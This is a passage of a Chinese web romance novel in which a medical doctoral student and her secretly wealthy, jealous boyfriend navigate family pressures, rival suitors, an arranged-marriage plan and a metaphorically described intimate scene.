就……佩服得五体投地。
林北北这还挺会给自己找假想敌的。
直到被他稳妥安进一辆黑色宾利的车后座,梁尔璐都一言不发。
几乎是隐私挡板完全落下的时刻,她转身,映入眼帘的男人眉目并未沾染催促感,竟意料之外地流转笑意。
整得她愈发愧疚:“抱歉,都这个时候了,我可以提问吗?”
自从确定自己的心意以来,她居然一直忘记问他最关键的问题了。
他点头应允,梁尔璐用字直白:“你家不缺钱,多有钱?”
刚才他双手拎得满满当当,全是印刷高奢品牌logo的包装袋。
“这辆早年就已绝版的车值上千万,但纯粹是家族长辈传下来,毕竟家道中落,如今落魄了。”
敢情是富过的富哥。
但瘦死的骆驼终究比马大。
她蓦地吃惊,稍缓:“那你有没有在港岛见过一台全球限量超跑,全黑……磨砂黑,挂着粤港澳三地车牌。”
“见过,但我和这种太子爷不属于同一个级别的圈子。”
难以忽视男人呷醋拈酸的态度,梁尔璐诚恳摇头。
“你别误会!我对太子爷没兴趣,只喜欢你。”她放下比心的手指,“我的意思是,如果你家像他家一样富贵,我们就毫无在一起的可能性,因为我死都不愿意做太子妃,嫁到皇宫当花瓶吉祥物和生儿子机器。”
“我家穷归穷,实际也需要这些。”
“咦耶……”没关系,林北北肯定能理解她下意识后仰嫌弃的反应。
他倒是也没在此等情境下靠近她接触,只心平气和地添话解释:“生孩子伤身体,但对不起,我想和你有自己的孩子,所以随便生一个就够,何况我是娶老婆养老婆,在我心里孩子的地位远远不如妻子。”
怔怔盯他两眼,梁尔璐任由冒着粉红泡泡的恋爱脑占据思维主导:“哦,那我就相信你了,不过你难道不怕老了之后被子女拔氧气管?”
她忍俊不禁。
做人可别太爱老婆了。
这人也弯唇,抬手来轻刮她因笑容而微皱的鼻尖,蹭过浅淡凉感。
他随上挪的目光掀起眼皮,言简意赅:“太子爷,其实你很在意。”
梁尔璐迟钝眨了一双眸子。
对她伸出两次援助之手的人,的确不容忽略。
横竖都不至于在意到想深入了解之类的。
“我师兄听你师姐说了,你是包租婆兼桐新楼老板娘、舒明堂老板的女儿,百年中医世家传人,家住上亿的顶级豪宅。”
严重掉马,她仓促咽口唾沫压惊:“骗你了,对不起,我原本是想追到你之后再坦白的,虽然现在听着像借口。”
完蛋,搬家装穷的小心思被当面戳穿。
此刻也不知男人摇头是何含义。
得亏他没多卖关子:“我的意思是,姐姐和那太子爷挺般配。”
嗯?
梁尔璐吃瘪般地无语。
真服了绿茶男。
她懒得回应他这故意使坏,仅仅丢去暴揍一顿似的眼神,垂眼之际却听男人落在她耳廓近侧,充斥着败了兴致的黏热口吻——
“我在意你在意他。”
敏感肌肤沾染上轻雾般的温湿,令梁尔璐急忙应激地从他怀里退开些,慌张瞅了半眼。
怎知手腕遭他攥住。
“戒指。”
她不明白,顺势愣瞅他示意的左手。
食指依旧戴着他们交接酸梅汤当日的那枚戒指。
对话前后没逻辑可循,梁尔璐疑惑:“你应该不是要我猜质地是银还是铂金吧?”
“铂金,钻石用到了我妈的骨灰。”
“如果要戴第二枚戒指,我只愿意它是我们的婚戒,绝对不能有第二枚骨灰戒。”
男人握紧她的力气重了好些,但不至于会痛。
也让她从震惊中缓过神,捧托他左手:“其实你可以把我骨灰做成钻石项链的。”
指腹抚开他无声起皱的眉,梁尔璐换了方向,轻戳眉心:“林北北。”
趁人满门心思等待后话的间隙,她跨坐去他腿上,贴拢颈侧,小劲儿咬了一口他逐渐变烫的耳朵。
车内光线暗淡,聚缩于狭窄的环境。
但凭借上方微亮的星空顶,梁尔璐清楚感受到了男人喉结滚动之下,转头的轻微闪躲。
锢着她大半腰身的五指紧了些按捏力道,因此导致她失稳,直直往怀里多挨近几寸,同时搭握在她腿的另一只手,却背道而驰般地暴露出浓重克制劲。
受慢性疾病影响,男人的手温偏凉,触及她肌肤并迅速漫开的刺激感愈加强烈。
她偶尔会在冬天洗冷水脸。
受冷之后生发的灼热向来炙人。
耳畔的笑腔显哑:“姐姐这是做什么?”
看不出来吗?
梁尔璐恶劣朝他耳后吹气:“勾引男朋友。”
拉开些距离,她得以吻住男人灼灼注视的眼睛,手轻巧游走,描摹他落在她腿部的五指轮廓,倏忽覆上。
梁尔璐附赠一个狡黠wink:“亲爱的,开学见。”
车门利落闭合,林瀚睿凝看窗外落荒而逃的背影。
“坏女人。”
*
揉揉烫热的脸颊,梁尔璐狠狠咬牙。
“你清醒点!怎么在这种场合也戴e人面具啊?疯了真的是……”
“对不起,敏感的男人!”
“呐,我不管啊,谁让你们男人那副构造天生就经不起撩拨的。”
她转身闭眼,碎碎念着连续道歉好一会儿,才抬头:“哇——吓,吓死我了!”
瞬间刹不住的后退势头被不知何时走近的林北北揽回,并将她扶稳。
且他毫不掩饰听去了什么:“辛苦你这么努力演e人了,所以没电的i人,要跟我回家充电吗?”
“什么?”梁尔璐细细琢磨,目瞪口呆,“什么!我说,我说我们这样太快,不……不合适吧?”
不是,这狗东西微笑干嘛呢?
她真心实意地讨饶:“对对对对不起,我以后绝对不那样子欺负你了!”
狗东西却另开话题!
“宝宝,你应该饿了。”
“是肚子饿。”梁尔璐义正辞严,发音极为标准。
“不然是什么?”
真会演啊。
狗东西。
她冷静摇头。
试图晃掉满脑子的黄色废料。
街灯昏昏,沿半空铺砌到地面,融淡了来往车辆刺眼的冷调灯光。
“北
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北,你总不能一直叫我宝宝吧?”她这才发现他们的关系都到了情侣阶段,却还只清楚双方的姓氏。
虽说师姐已经拉她加入两校合作的群聊,但导师们并未强制大家把账号昵称改为真名。
手心被托高,男人唇角含笑,指尖先后写下三个字与单字:“宛宛。”
原来是叫林瀚睿啊。
离了触碰的肌肤依旧残留些痒意,梁尔璐记住这名姓。
不过……
“嗯?宛宛类卿?你还有白月光呢?”她疑惑瞅,揶揄着索要原因。
该说不说,林某人简直是见缝插针专家,自然而然地就顺势牵了她手。
甚至用的十指紧扣。
“你师姐也和我师兄说了你的名字,但尔尔的发音太绕口,拆分宛尔。”
说到点子上了,身边的确没人这样翘飞了舌头地叫唤她:“我还以为是莞尔一笑。”
“我不喜欢草。”
草。
第四声。
梁尔璐想骂人。
狗东西连问个名字都欺负她……
她不甘示弱:“噢!原来你性冷淡,不行啊!”
羞红脸的当然也是她,梁尔璐抽回手,管自己先跑向车。
看在是男朋友的份上,她得寸进尺,与延后坐进车的林瀚睿撒娇:“亲爱的,我想吃甜品,不要那些养胃的粥羹汤。”
嗯,男朋友只顾替她系安全带,半个眼神都没搭睬。
“身体好了再吃高油高甜。”
赌气重新松开,梁尔璐撇嘴扭过脑袋,轻声嘟囔:“弟弟果然还是哥哥好,珩仔肯定会给我吃一口的,一口也行呗,就一口。”
“宛宛,建议你别在我面前提其他男人。”轻易被他扳回脸颊,报复性地捏了两下。
不疼,她主要是心虚,眼神乱瞟:“嗯?谁?我说话了吗?肯定是你耳朵出问题了!”
她耳朵灵得很,此刻听异常清楚。
林瀚睿的声线淡然,却不容置喙,也足够炸裂。
什么叫“送你回家,让爸妈管”?
梁尔璐寻思她住在其他男人家里,一时汗流浃背:“等等!去你家吃饭,我都听你的。”
“怎么这样紧张?”
她强装镇定,靠每次眨眼的秒速动作,避开温温笑看的林瀚睿目光:“没啊。”
“你演技真的很烂。”
一锤定生死般的无情评价,梁尔璐哪还敢再说话,认命听他添声。
男人的姿态疾徐有度,十分稳当,仅眸中透些微讶异:“你不会是……生病了瞒着父母?”
她急忙点头:“没错!”
怎么就忘了这个货真价实的原因呢?
“那你搬去了谁家?”
揉有笑意的话语中其实充满压迫感,梁尔璐瞬间失去笑容。
这男人的第六感是不是有些准确过头了?
敢情挖了坑在这等着她呢。
没办法,她已经跳进去了。
说闺蜜家也不行啊,可怜靓女自己都生病,没必要折腾她。
“桥,桥洞。”
小问题,她主打一个说不过了就发疯。
少许车流的鸣笛声传入紧闭窗内,梁尔璐放轻呼吸动静。
任由林瀚睿抚她颊边的碎发,拢去耳后:“宝宝,回我们的家吧,嗯?”
“嗯。”她怔怔点头。
耳廓被摩挲的触感清晰,梁尔璐蹙眉,往座椅角落小幅度缩退:“痒。”
说实话她全身都长痒痒肉,受不了别人这么碰的。
总之……
她怎么突然感觉男朋友的占有欲有些过激?
话语稀松平淡,字里行间的攻击性却明显,一步步逼得她无路可退,不寒而栗……
不禁让她鬼使神差地怀疑,如果林瀚睿知道她住在其他男人家里,就会把对方杀了?
啧,离谱到极点。
应该是她心虚太紧张,而导致的错觉。
23.旧夏日
“在想什么?”
携有笑腔的男声扯回她思绪,梁尔璐只是沉默。
她究竟给林瀚睿扣了什么罪大恶极的帽子啊!
应该住脑了。
“宛宛,我在想。”
居然没叫她腻歪的“宝宝”了?
“你头发不能碰,耳朵也不行。”
话明显未完,男人撤了手,半敛眉眼,一再停顿地吊足她胃口。
被他聚焦视线的耳根子位置,仿若落了火,料想能红通到滴下燃透的余烬。
光线昏晦,梁尔璐看不清林瀚睿深浓几分的眸色。
“可爱。”
啊?
她这本就接近空白的脑子也热炸了。
含糊着用鼻音轻做回应,她越是往角落躲,转身望窗外流动的夜景。
*
二十分钟的路程,她在一栋三层别墅前下车,简单估计,平方往少了说也得有四百左右。
玄关宽敞,疑似管家模样的男人赶来迎接:“少爷,小姐,饭菜快做好了。”
局促对老人家鞠躬,梁尔璐略微抿唇,揪紧牵握着的男人指根:“您好。”
要抓狂了。
这就是落魄少爷的富贵日常吗?
左侧的旋转楼梯蜿蜒而上,隐约透过脚步声,消失后头顶响起女声。
“这就是少爷第一次带回家的女人?”
是先前商场偶遇的堂妹,此刻闲散倚靠扶栏,面无表情打量来,目光缓缓投向她身后,神色紧张:“Hendrix,大伯知道你自由恋爱吗?”
“让我娶回家。”
感觉到十指紧扣的力气加重,梁尔璐心悸愈是深,怔望林瀚睿尤其认真的侧脸。
林莉妍当即扯起一弯灿烂笑容,快步下楼:“嫂子,你好美!”
不用多想就知道大伯如此让步,无非是为了哄唯一的继承人安分点活着。
这父子俩比的就是一个谁最狠。
嫂子又像朵弱不禁风的娇花,若是进了乌烟瘴气的林家,她非常担心。
毕竟连现在面对她一个善良的林家人都会怯退,直往堂哥身后躲,两瓣粉颊羞涩。
呃……堂哥有时候其实也不算什么好人,比如刚使了眼色,提醒她口风紧些。
骗老婆的男人迟早跪搓衣板,希望嫂子狠狠收拾。
梁尔璐快热晕了,年轻妹妹太过热情。
她理应夸回去的,可嘴皮子完全不听使唤。
发顶迎来轻抚的触感,伴随林瀚睿更柔缓的嗓音:“别怕。”
他转望管家:“周叔,您歇着,让Rosalind招待。”
林莉妍迅速往前迈步,着急撤回:“嫂子,我可以很文静的,其实我想说,我哥对你可好了。”
梁尔璐依然没怎么适应这张口闭口“嫂子”的热络劲儿,声音同样羞:“嗯,挺,挺好的。”
“嫂子,牵牵,我带你去看。”
递手到对方伸近的掌心内,梁尔璐眨眨眼:“哦。”
风风火火的自来熟性格,她实在难以招架。
女人带她向二楼走,开间房门。
灯亮时乍一眼,偌大的温馨室内随意分布了十多只黑猫,由于突兀动静,或散开或围拢,此起彼伏的喵声唤入她心窝。
她们坐在沙发,各自抱猫,林莉妍指指茶几上一册装订工整的A4纸张:“嫂子,我一看就知道这是Hendrix给你的。”
“嗯?好,林小姐稍等。”
梁尔璐正查看新收的微信——
【撸猫=充电】
【Hendrix】
脸显然是又红透。
搞半天是这个充电。
她之前可真是误会大了。
爽快回复自己的英文名“Aria”,梁尔璐摁灭手机,翻阅仅有空白封面的册子。
拢共二十一页文档打印出的集合文件,中间的十九张逐一介绍了每只中华玄猫的个猫资料,上至姓名下至喜恶,额外附带十九种猫鼻纹的高清特写照片。
总而言之,属于蛮复杂的精细工作。
眼看身旁人笑意甜蜜,林莉妍抓心挠肝的冲动增至极点:“嫂子,暂停恋爱脑时间。”
“我对你们这段感情的建议是千万不能早结婚,必须等我哥坐稳龙椅之后,我确定以及肯定他也是这个想法。”
梁尔璐愣几秒:“嗯,他暗示过我好多次,谢谢你提醒 ,说实话我并不着急结婚。”
所以她果然全没猜错,林瀚睿连番拒绝告白,只因家庭问题糟糕,不容易,家道中落了也难逃抢皇位的争斗……
“呐,是我得感谢嫂子理解,原本我还怕你们以后因为结婚分歧闹矛盾,真好,嫂子和哥哥绝配天仙配!”
消化掉满耳朵的夸夸,梁尔璐付之一笑,戳了梁奕珩问她行踪催回家的消息。
趁手甩过这别墅小区的定位,她解释在朋友家撸猫,十点前必定回。
接近了,该抓紧时间下楼吃个饭。
谁知饭菜摆满小半张餐桌,包括一盘甜香扑鼻的港式西多士。
梁尔璐顺势感叹:“我吃不了这么多。”
听对面座位的林瀚睿笑声轻:“嗯,你等会儿回桥洞,还要吃谁做的饭?”
“我不会做饭,全由厨师经手,而且我这是第一次尝试甜品,大概率难吃。”
额头绝对淌了无语黑线,梁尔璐撇嘴:“你别又醋又茶的了,我那个大少爷竹马也不会做饭。”
“原来他是你竹马,这种比朋友更近的关系。”
眉头忽跳,她垂眼舀半勺粥冷却,避开林瀚睿揶揄的神情:“对啊,难道你还想抹杀他的存在?你都已经成功后来居上了。”
“宛宛,夸张了不是?”
林瀚睿静默五官,持续将视线盯在她脸。
粥味寡淡,梁尔璐搭配甜口的西多士:“好吃,和茶餐厅卖的很像,你大概率有厨艺天赋。”
她细嚼慢咽,安静结束了这顿饭,餐巾拭出唇瓣凹陷的弧度。
从始至终,林瀚睿没错失任何一眼。
碗盘交叠,流理台的龙头水汩汩穿过梁尔璐指缝,温差偏冷,惊得她颤躲了一瞬。
关停哗响,每只盛了水的碗都满溢,持续往外淌滴。
在她家,这样浸泡餐具是会被父母嫌弃的。
“喜欢玩水?”
由林瀚睿握住湿润的手,水痕流延在他嶙峋骨节,梁尔璐稍显错愕:“小时候的坏习惯,一直改不掉。”
她的手不属于柔弱无骨这类,关节细瘦显著,男人竟饶有兴致地捏玩,上边的水渍近乎被捻干,才见他说话。
言简意赅的“搬家”两字。
*
梁宅。
林瀚睿微斜身子,靠在客厅铺有软垫的红木椅,打量这高达五层楼的桥洞。
横竖都相看生厌,梁奕珩没心情浪费时间,随意坐他对面位置:“你带得走她吗?”
“你应该问,她父亲怎么还没到。”
“你做了什么?”
乐见哥哥皱眉,林瀚睿扯笑:“我能做什么?单纯是给几个重症病人介绍了她家的中医馆。”
“哥,哪怕是送她回家,也该是我,只能是我。”
料想到弟弟不会做监视他的违法事,梁奕珩输得心服口服,佩服这看穿人心的本领。
“但你依旧憋屈吧。”他回笑,“明明早就知道她住我家,却必须装傻,用迂回的方式设计她暴露,最后却达不成根本目的。”
“我这傻妹妹肯定是自己无意间抛了话引子,才让你有机可乘。”
“怀民亦未寝。”
话尾的嗤声入耳,林瀚睿沉默。
这网络梗他知道。
挺好,既然双方都气到失眠,算是扯平。
*
梁尔璐下楼,老远瞧清花园内,林瀚睿与梁奕珩共同闲逛,一派哥俩好的和谐画面。
嗯……不热?
随即,二人齐齐走向她——
“尔妹,我帮你从小区门口搬上楼。”
“梁小姐,我帮你搬下车。”
刚才提前排练好的句式?
梁尔璐愣:“好,谢谢你们,所以你们交成朋友了吗?”
异口同声的“没”。
斩钉截铁。
她语塞,缓慢回神:“等等,小区门口?我家?”
不是搬男朋友家吗?
却看俩男人一律用脸色传递出愧疚感。
“吃晚饭的时候,被你爸妈怀疑了。”
“不该让你夜宿男人家里。”
那她还能说什么。
针对如此的默契,梁尔璐给他们让出车后座,选择保镖旁
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边的副驾驶位。
后视镜清晰,她眼看男人们同时低头操作手机……
林瀚睿戳隐藏了内容的微信消息弹窗。
【一横:我看你是想得很】
梁奕珩点进聊天框。
【两棵树:我看你是故意的】
*
总算到自家小区,梁尔璐犯着困下车,却瞬间被个陌生黑西装男拦住:“小姐,请稍等。”
碍于受吓,脑子彻底灵清,她发现某辆白色超跑敞开车门,手中执束荷花的少年感卫衣男正缓步走向她。
声线雀跃:“姐姐,送你夏日限定花束,祝你好运莲莲。”
梁尔璐傻眼,嘴皮子比脑袋快:“我没你这个弟弟。”
察觉这话有歧义,她忙解释:“我的意思是,请问你是?”
“你是我的心上人。”
他当即递过花:“你好,结婚。”
盘靓条顺的高瘦帅哥因一张娃娃脸而年龄不详,梁尔璐忍住询问他岁数的冲动。
没想到坐车里还有瓜吃,梁奕珩不客气地嘲笑:“见鬼了,国家一级直球运动员,谁啊?你那边的?”
乐死。
身旁林瀚睿绷得脸都气黑。
“盛家。”
“盛家哈哈,我说你身上莫非写着字?‘是兄弟,就来气我’?你个绝世冤种!”
这是个冤种吧?
梁尔璐懵圈。
就差那么一小时不到,她已经有男朋友了。
这冤种好巧不巧地错过。
好运莲莲应该祝福他自己吧。
她汗流浃背了:“你好,我封心锁爱。”
救命!
余光瞅见好兄弟救场的身影,站定她旁侧:“想娶她,得先过我当哥哥的这一关。”
盛言顾勾唇,不屑:“你别是仗着竹马哥哥的身份玩暗恋谋私心。”
显然,盛家太子外放的攻击性强过林家那位太多,梁奕珩轻笑:“哦,你调查心上人,恐怖如斯。”
“随你怎么说,这也是追爱实力的一种。”
恣意张扬,想必足够有实力。
梁尔璐向下车来的林瀚睿投去眼神求救。
正宫,你说句话呀!
几步的距离,林瀚睿垂眸,眉心掠过一丝倦烦:“堂弟,你那辆跑车租得不错,借我开开?”
片刻就悟到“在装穷”的关键信息,盛言顾配合:“你没份,租金死贵,我只借了个把小时。”
好啊,提醒他的同时还在女人面前贬低他,为了告白特意租车充面子。
林盛两家是利益共同体,虽说他家的银行占上风一些,但到底不能撕破脸皮。
三伏天的夏风捱至深夜,仍然没阴凉几分。
看来男朋友家落魄得只能租跑车了。
情况太乱,梁尔璐开始窝囊:“求你们了!帮我搬家吧,难道要我跪下来求你们吗?”
梁奕珩:“……”窝囊组加十分……
盛言顾:“!”姐姐好可爱!
林瀚睿:“?”怎么好像就我没懂?
局势堪忧,他无意深想:“梁小姐,你不是说有东西落在我家?很晚了,先回去找?”
“嗯!”绝佳突破口,梁尔璐快步跑向主驾驶位。
关严实车门的一霎,响起男人嗓音,丧气得闷堵:“我不想你走。”
她抿唇,猝不及防对上镜中那双含情的眸。
梁尔璐不作回应,抓稳方向盘。
男人只会影响她开车。
商场极近,她拐进负楼层的停车场,换去车后排与男人同坐,摊开手示意未拆封盒子:“这样会让你有安全感吗?”
之前坐副驾驶,梁尔璐偶然发现宽敞的中央扶手箱底部压了数盒这玩意。
林瀚睿倒是没惊讶,单一的怔。
保镖习惯准备,行车遇险时可替代药物的止血急救品。
扶住并推远凑近的女人,他收紧肩侧十指:“不百分百安全,你也刚做过胃镜,宛宛,先别这……”
“还是值得信赖的,否则娃娃会飞满空气了。”犟不过林瀚睿的绝对力量压制,梁尔璐拧眉,“而且,你确定自己能到胃?”
趁男人愣中无语的松懈模样,她倾身贴唇,说话因此含糊:“你梦游那晚就是这样对我的。”
她学习能力可强了。
24.旧夏日
哪知这句话令梁尔璐受到推力,不由往后倾倒了些,堪堪靠向窗沿,却有男人的五指垫托在她脑后缓和硌感,落下的温软触觉流连于面部,逐渐蔓延至颈耳之侧。
如针般细密戳心生痒的欲念占据之间,林瀚睿辨听几声轻泣哭腔。
就着角度,他顺势拥抱:“别怕,到此为止。”
怀中人的反应迟钝,双手却是穿过他腰身环紧,嗓音黏得迷糊。
“不是我想哭的,你好会亲,我……我……”
久久没话延续,林瀚睿后知后觉梁尔璐脸上像拢了层粉雾,原本随意垂落在座椅边缘的腿呈略微夹状。
他眸色骤暗,牙尖抵去耳廓,严丝合缝且近距离感受随之产生的颤栗与呜咽。
梁尔璐感觉耳边有些水流的涌声,掺杂嗡鸣。
蜂停在蕊,稍作捻弄地轻点,刺探一般收力稍勾,脆弱之芯逐渐泛红。
正值开花沁液的流蜜期,蜂抬起第二前肢没入,趁机汲取更多花蜜。
蕊丝敏于感觉,瞬间细颤躲闪,被进一步的外力侵取后,边缘似乎都浸得湿软,撑得薄透,翕动间,筋纹脉络的触感清晰。
蜂纤瘦腹处的储蜜囊明显鼓突,是吃多了蜜,但持续后吞的一些导致原本被容纳的部分更朝深处陷进。
脑袋全然空白,梁尔璐觉得酸胀,借助扶着林瀚睿的力,咬唇忍声,小幅度支起身子,但又霎时塌了肩,跌回他颈窝。
“等一下。”兴许是环境不容许,男人刚才话不多,基本叫的“姐姐”,狎昵十足,此刻声线显哑,低磁感愈重。
空调吹得极低而干燥,她难耐肤表薄汗的热烘,恍惚听见开瓶盖的刺啦断裂音,很快被林瀚睿喂渡凉水。
他语气染了湿漉:“宛宛,我会……”
“如……”梁尔璐立即打断,她渴得很,抿舔沾润的唇,“如果你,你快点,我就分手。”
摸索到角落的手机,她靠人肩头,单手摁手机:“你也等一下。”
电话拨通,梁尔璐勉强提声,收敛绵软感:“爹地,东西已经到家门口,我晚点回,嗯,我知道。”
着急挂断,五指仍然发软,她只能随手一扔手机,抱怨:“重死了。”
其实末尾字音还没怎么发全,梁尔璐察觉林瀚睿向上稍抛的力道,衔接的落势迅疾:“啊……狗,狗东西!”
他动作恶劣,出口的腔调倒是严肃:“你太轻,我好想养你。”
哼了半声抗议,她轻语:“你不准在显眼的地方留。”
似乎是对她提出的“隐藏痕迹,偷偷恋爱”有意见,林瀚睿大掌擒住她的侧腰,下摁。
故意的。
提醒她该专注,别分心了。
*
回到家已不见亮灯,梁尔璐谨慎关门,目光无意识定在搭握门把的手指,脸部消退许久的红急涌。
手指上的神经末梢多达数万,但越向春心深处就越没神经末梢,异常迟钝,所以她之前基本只是体会到林瀚睿劲瘦指节探入后的异物感。
所以他正相反,绝对感触万千。
救命。
她为什么要懂这种冷知识……
不过她失算了,林瀚睿在床上也沉默寡言,却热衷于执意逼她节节败退,再犟不了地发出声音。
狗东西!
洗漱尽一身疲累,梁尔璐停驻衣帽架前。
所挂的男士黑色双排扣长款羊毛大衣,设计元素囊括她喜欢的戗驳领,可尺码不对她的身量。
林瀚睿随意相送,美其名曰睹物思人。
看得出来他偏爱黑色。
只养黑猫,别墅整体装修采用黑墙,衣帽间内纯黑的单品数量多,卧室里正对着床的一幅油画上色够黑,白仅占极少数。
梁尔璐走向书桌,柔顺绒质首饰盒中容纳一顶铂金钻石冠冕,据林瀚睿说还能变成项链,价值千万,同样是祖辈当年富裕时的收藏品。
连她竹马哥哥送冠冕当生日礼物这事都要翻旧账吃醋的幼稚鬼。
卧室被敲,梁尔璐赶紧将存在感过强的男装与珠宝塞进被窝隐藏。
她赶趟似地开门:“怎么了?”
爸妈鲜少同时找她,除非有大事,这回莫名觉得蛮严重。
“妹仔,你不用去反向代购了。”
没想到是好消息,梁尔璐笑容明媚,向母亲点头。
“从你出生到现在,奕珩是爹地妈咪给你找的唯一结婚人选。”
话题急转而下,她绷紧唇角,省得发脾气:“因为你们对他知根知底,确定他会对我好一辈子。”
“你明白是再好不过了,我看你二十多年都不谈恋爱,跟这小子没感情搭伙过日子,总比婚姻不幸来得要好。”
梁尔璐对父亲弯弯眉眼:“没错,我知道了。”
她第一次感觉父母离自己遥远。
这件事里谁都没错。
但这件事本身就错了。
梁尔璐心口堵得慌,手机攥了又松。
没必要吐黑泥影响林瀚睿的情绪,她不是那种黏人的女朋友。
*
林瀚睿瞥看黑屏的手机。
已经是第二天晚间,女朋友还真就一个电话、一条信息都不给他发,甚至迟迟不回复他怀疑身体不适的猜测。
别墅外停满了车却不显拥挤,主人家将吊唁仪式设在夜里,他代替林家出席多年合作商的葬礼。
宴厅内众人推杯换盏,笑容随处可见,充满祭奠意味的主题弦乐组曲反
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倒变得不伦不类。
俨然是为了重构钱权关系的名利场。
周围人急急簇拥而来的逐利气息惹他生厌,压敛烦躁的眸光不经意掠过音乐师区域,讶异视线落去身穿黑裙,低头演奏大提琴的梁尔璐。
一个骗局需要接二连三的谎言维系。
林瀚睿微紧眉心,下意识撇开视线。
他总能遇上无脑攀谈者。
正如此刻,某个蠢货污言秽语地评论拉大提琴那女人岔开了双腿,对着他们这群男人。
分贝不响,但在梁尔璐听力范围内,她正打算抬头瞪视,却乍一眼看清处于中心位的林瀚睿。
疑惑丛生,她多怔几秒,察觉他沉默掀抬眼皮,向说话人斜掠去平淡眼风的瞬间,却足够凛然可畏,令对方立刻停歇了满嘴露骨的荒唐。
头一回见他展露这种锐利气场。
应侍生端了酒盘,从她与林瀚睿交汇的视线内匆匆经过,携起的阵风拂动男人额前发绺。
梁尔璐照样不解,但演奏优先。
等结束,她离开丝毫没尊重葬礼的豪华宴会厅,在别墅门口的廊檐下迎着林瀚睿温柔衔笑的脸容,完全不见之前锋芒外绽的的尖刺感。
入耳的嗓音清润:“宝宝,失联将近一天,身体不舒服?吃饭了吗?”
强忍的委屈涌聚心头,梁尔璐扯平紧抿的唇:“没不舒服,没胃口,不想吃,嗯……你怎么也在这啊,我临时代替朋友来拉琴的。”
“博导帮我在他合作的某个公司挂了虚职,算是高管。”
难怪他身边不缺人靠近奉承,据说学生优秀才能有这种挂虚职的机会。
“你的眼妆比以往都深,哭过?”
“嗯?”她一时难以回神,目光直直撞进林瀚睿流露担忧意味的眼眶。
为了消肿确实化浓了些许,微不足道的细微变化竟然被他轻易看穿,梁尔璐忽生捉襟见肘的尴尬。
裹挟湿热的晚风加剧她情绪化。
“我也就是离家出走了嘛。”梁尔璐羞于自己的幼稚行为,绞弄手指,“有没有……只有你知道的地方?”
“主要我昨晚给珩仔发过你家地址,因为他怕我又在哪里出事了,总之我不想被家里人和朋友找到,酒店呢,等日子一长我就没钱住。”
雨夜的雾霭沉浮在潮黏空气内,似乎愈加浓重。
她分秒循着林瀚睿低眸,再次抬眼凝看来的视线轨迹。
男人勾些笑,重复了她的话:“只有我知道的地方?”
“只有你知道的地方。”她改用陈述语气,明确自己的诉求。
林瀚睿因此点头,适中的力道牵附来左手腕,打断她不知何时已用劲揪掐手指的动作:“会疼,我们回家吃饭。”
25.旧夏日
茶楼包厢。
除了雨落窗台的细微声,一室沉默。
林堇羲打量桌对面凝重了脸色的女人:“我确实知道你女儿在哪,但没必要,你当是提前习惯孩子们度蜜月。”
“我的意思就是林家的意思,她必须和Hendrix结婚,可以不生儿子,这是我给梁家最大的承诺和诚意。”
“至于你女儿的利用价值,身份清白正派,在港学术界与上流圈享有名气,门当户对,家族产业适合联姻。”
“以上都微不足道。”他端碗盛一勺药膳汤,话锋忽转,“关键是,能保我唯一继承人那条命的药。”
梁初琅攥紧膝盖处的五指。
神经病豪门把儿子养出问题,反手捞个正常人家的女儿来治。
傻女儿心疼男人的性格,活脱脱像极了她意思多年的闺中密友。
但说白了也是她先让女儿去代购,才导致两个人产生交集。
记得这丫头看多了电视剧、小说,从小到大讨厌所谓的豪门少爷,既然林家小子能让她喜欢……
梁初琅下意识讽笑:“倒真是上梁不正下梁歪,父子俩全是骗女人的货色。”
不行,绝对要棒打鸳鸯。
正做决定,她又听林堇羲添话。
“我不会为自己争辩,但Hendrix和我不一样,可以相信。”
“其实你们都清楚,他是个好孩子,却装傻,只因为姓林,所以梁家不接受他,外婆家回回给他吃闭门羹。如果我唯一的儿子死了,卧室罪魁祸首,你们是帮凶。”
雨打玻璃的频率密集,梁初琅内心五味杂陈。
她唯一的女儿向来避免在雨天出门,若是自然卷头发被淋湿蓬乱了,准会闹她怀里撒娇。
*
梁尔璐把脑袋探去车窗外,长时间怔望不远处拔地而起的豪华庄园,她惊到全然忘记狼狈翘卷的潮湿发绺。
往旁侧俯瞰一眼望不到底的山间来路,她注意力顿时转向扣稳方向盘的林瀚睿:“你家没落魄之前是多有钱啊!”
见他但笑不语,梁尔璐觉着提起人伤心事还蛮冒昧的:“哦,对不起。”
“宝宝,你向我道歉?”
乱糟糟头发受到男人单手力度适中的揉抚,她眨巴了困惑双眼,其实不懂林瀚睿这轻笑反问的意思。
他却没再解释更多,雨夜朦胧,继续聚精会神地在盘山公路行车:“喜欢玩水,但别淋雨。”
雨线并未斜潲,梁尔璐升上一截窗户,想起之前已经同他说过离家出走的原因:“受不了了,要么我明天直接带你见家长?”
“你爸妈一定会先将我扫地出门,再叫你用柚子叶洗澡,祛霉清晦气。”
被林瀚睿夸张的程度逗笑,她随即短叹:“柚叶可是一味不错的中药,对了,你说我博士毕业进综合医院还是中医馆?”
“医生除外,你没有其它想做的?”
“音乐制作人,以前每个教乐器的老师都说我是天赋型,但家里的祖业只能靠我继承,后来我才发现自己学别的很多技能也算天赋型选手,慢慢就释怀了,还是医生最好,能救死扶伤,我更喜欢以这种形式存在的人生价值。”
雨幕中庄园渐近,渺远灯光因此明晰了好些。
掰扯了卷发手动捋直,梁尔璐继续倒话匣子:“北北,我跟你说!虽然我从小学的是全科中医,但本硕博主修骨伤科,所以你整个人任何哪里不舒服,一定要及时告诉我。”
“是有人吗?”
“嗯?”
后知后觉梁尔璐思维跳跃,秒换的新话题意指庄园,林瀚睿哭笑不得:“没,家政团队会定期维护,今晚临时提前,我让他们留了灯。”
“没没……没,人?没人!这么大又少住的房子,我怀疑有那么一点点点点不干净,能不能去你房间打地铺睡?”
竟是担心这个。
不怪他总觉得梁尔璐可爱。
“你相信有鬼,不如信我是你男朋友。”
什么意思?愣是给她整糊涂了。
“可你就是我男朋友啊。”
“噢!”梁尔璐恍然大悟,“你正在对我展现你作为男朋友的超绝安全感。”
男人却出乎意料地陷入沉默,转头静瞥她的眸色中莫名沾些恨铁不成钢的意味?
林瀚睿将车熄了火才久久凝看她:“你正在对我展现你作为女朋友的超绝钝感力。”
“哇,你变了,你让我觉得好陌生,你居然知道‘超绝’和‘钝感力’这两个网络梗!”梁尔璐摸鼻尖,悻悻,“所以你是什么意思?我应该是饿傻了。”
“我们已经在一张床上深入睡过了,何必分房?甚至分床?”
气血上涌,烧透了双颊,梁尔璐当即捂脸跑下车,身后传来男人调侃的笑腔——“屋里有鬼,不干净。”
她受吓,撒腿折返,没几步便撞入林瀚睿的怀里,惊讶之余使劲埋低脑袋,嗓音闷闷:“你这个人坏得很!”
“我坏?只是舍不得你淋雨。”
